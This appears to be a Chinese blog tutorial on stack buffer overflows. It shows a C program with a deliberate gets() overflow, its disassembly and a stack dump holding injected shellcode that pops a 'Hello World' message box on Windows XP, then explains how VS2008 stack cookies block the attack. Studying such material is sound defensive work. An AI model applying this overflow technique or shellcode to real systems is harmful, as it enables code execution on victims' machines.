利用堆栈溢出写入代码

总所周知,使用scanf,printf,strcpy等这些古老的函数会被VS警告,但是这有什么坏处呢?会造成堆栈溢出,不怀好意的人如果发现了这个漏洞就会写入自己的代码干坏事(VS2008以上已经修复该bug,不过还是不建议使用这些函数,而是使用_s版本的)。

下面是我刚弄出来的一个,还很简陋,就直接贴上来了。


#include <stdio.h>
#include <stdlib.h>
#define N 100

int Function()
{
	char str[N];
	freopen("1.txt", "r", stdin);
	gets(str);
	return 0;	
}

int main(int argc, char* argv[])
{
	Function();
	return 0;	
}

编译器:dev C++4.9.9.2

系统:Windows XP SP3


看似这段代码没啥问题,其实危机四起。

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  81EC 88000000 SUB ESP,88
00401299  |.  A1 D8504000   MOV EAX,DWORD PTR DS:[<&msvcrt._iob>]    ; ||
0040129E  |.  894424 08     MOV DWORD PTR SS:[ESP+8],EAX             ; ||
004012A2  |.  C74424 04 003>MOV DWORD PTR SS:[ESP+4],flow.00403000   ; ||
004012AA  |.  C70424 023040>MOV DWORD PTR SS:[ESP],flow.00403002     ; ||ASCII "1.txt"
004012B1  |.  E8 8A050000   CALL <JMP.&msvcrt.freopen>               ; |\freopen
004012B6  |.  8D45 88       LEA EAX,DWORD PTR SS:[EBP-78]            ; |
004012B9  |.  890424        MOV DWORD PTR SS:[ESP],EAX               ; |
004012BC  |.  E8 6F050000   CALL <JMP.&msvcrt.gets>                  ; \gets
004012C1  |.  B8 00000000   MOV EAX,0
004012C6  |.  C9            LEAVE
004012C7  \.  C3            RETN

这是上面的代码的反汇编代码。

由于gets函数不会管str的大小,也不管是不是超过了100,看见东西就往里面写,写完的数据的栈会变成这样。

0022FED0   0022FEE0  ASCII "User32.dll"
0022FED4   00403000  flow.00403000
0022FED8   77C2FC80  OFFSET msvcrt._iob
0022FEDC   7C9301E0  ntdll.7C9301E0
0022FEE0   72657355
0022FEE4   642E3233
0022FEE8   48006C6C
0022FEEC   6F6C6C65
0022FEF0   726F5720
0022FEF4   0021646C
0022FEF8   60EC8360
0022FEFC   22FEE068
0022FF00   1D7BB800
0022FF04   D0FF7C80
0022FF08   EB68016A
0022FF0C   680022FE
0022FF10   0022FEEB  ASCII "Hello World!"
0022FF14   EAB8006A
0022FF18   FF77D507
0022FF1C   006A61D0
0022FF20   81CB12B8
0022FF24   33D0FF7C
0022FF28   313131C0
0022FF2C   31313131
0022FF30   31313131
0022FF34   31313131
0022FF38   31313131
0022FF3C   31313131
0022FF40   31313131
0022FF44   31313131
0022FF48   31313131
0022FF4C   31313131
0022FF50   31313131
0022FF54   31313131
0022FF58   31313131
0022FF5C   0022FEF8
0022FF60   77C0AE00  msvcrt.77C0AE00
0022FF64   7C930228  ntdll.7C930228

从而覆盖了正常的堆栈数据,当执行到RETN的时候,堆栈里面的数据就变成了这样。

0022FF5C   0022FEF8
0022FF60   77C0AE00  msvcrt.77C0AE00
0022FF64   7C930228  ntdll.7C930228
0022FF68   003F2C90
0022FF6C   004012ED  返回到 flow.004012ED 来自 flow.00401740

注意栈顶是0022FEF8,当执行RETN的时候,eip就会变成0022FEF8,这就意味着下一条代码就在你刚才写进去的堆栈里面,我发一下1.txt里面的内容。


里面的代码是这样:


可以看出,在里面调用了LoadLibraryA,MessageBoxA,ExitProcessA等API,使得一个看似没有弹窗能力的窗口弹出了一个hello world的消息窗。

如果把这段代码换成你写的其他功能的,就有可能在你不知情的情况下干坏事。


附:VS2008及以上解决此漏洞的方法。

00401000  /$  83EC 68       SUB ESP,68
00401003  |.  A1 00304000   MOV EAX,DWORD PTR DS:[403000]
00401008  |.  33C4          XOR EAX,ESP
0040100A  |.  894424 64     MOV DWORD PTR SS:[ESP+64],EAX
0040100E  |.  FF15 A0204000 CALL DWORD PTR DS:[<&MSVCR90.__iob_func>>;  MSVCR90.__p__iob
00401014  |.  50            PUSH EAX                                 ; /stream
00401015  |.  68 F4204000   PUSH Overflow.004020F4                   ; |mode = "r+"
0040101A  |.  68 F8204000   PUSH Overflow.004020F8                   ; |path = "1.txt"
0040101F  |.  FF15 A8204000 CALL DWORD PTR DS:[<&MSVCR90.freopen>]   ; \freopen
00401025  |.  8D4424 0C     LEA EAX,DWORD PTR SS:[ESP+C]
00401029  |.  50            PUSH EAX
0040102A  |.  68 00214000   PUSH Overflow.00402100                   ; /format = "%s"
0040102F  |.  FF15 9C204000 CALL DWORD PTR DS:[<&MSVCR90.scanf>]     ; \scanf
00401035  |.  8B4C24 78     MOV ECX,DWORD PTR SS:[ESP+78]
00401039  |.  83C4 14       ADD ESP,14
0040103C  |.  33CC          XOR ECX,ESP
0040103E  |.  33C0          XOR EAX,EAX
00401040  |.  E8 04000000   CALL Overflow.00401049
00401045  |.  83C4 68       ADD ESP,68
00401048  \.  C3            RETN

在里面有一个Call Overflow.00401049,在操作str之前,会在尾部写入一个标记,这个标记和当前系统的时间有关,然后保存,最后操作完堆栈里面比较这个标记是否被改变,如果改变就直接结束进程,这就使得eip不能指向你写入的堆栈了。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值